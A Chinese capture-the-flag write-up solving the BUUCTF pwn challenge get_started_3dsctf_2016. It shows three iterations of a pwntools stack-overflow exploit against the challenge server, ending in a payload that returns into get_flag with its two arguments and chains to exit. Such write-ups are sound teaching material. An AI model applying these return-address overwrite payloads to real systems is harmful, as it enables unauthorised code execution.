[BUUCTF-pwn]——get_started_3dsctf_2016
- 题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016
- 题目:
这道题让我学到很多细节,虽然又一次栽倒了没有ebp的坑中
首先还是先checksec 一下看看,老样子32位NX保护.
IDA中
看到这些,你是不是和我一样觉得so easy!!! 我一开始也觉得这种题
payload = ‘a’ * offest + ‘junk’ + get_flag的地址 + ‘junk’ + get_flag的第一个参数 + get_flag的第二个参数就好('junk’就是四个字节,第一个是代替main的ebp,第二个代替get_flag的返回地址)
exploit就是
from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
payload = 'a'* (0x38+0x4) + p32(get_flag_addr) + p32(0)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()
可是不对,打不通我仔细观察,发现这个main竟然没有ebp
以前也遇到过但是没有在意.修改下exploit
from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(0)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()
发现还是打不通,想了好久都不可以. 查看一下别的人如何解决的发现,get_flag不能正常返回就无法打印,俺也不知道为什么. C语言中有exit函数可以用来退出程序
再次将exploit修改一下
from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()
成功!!! 太难了孩子 wuwuwu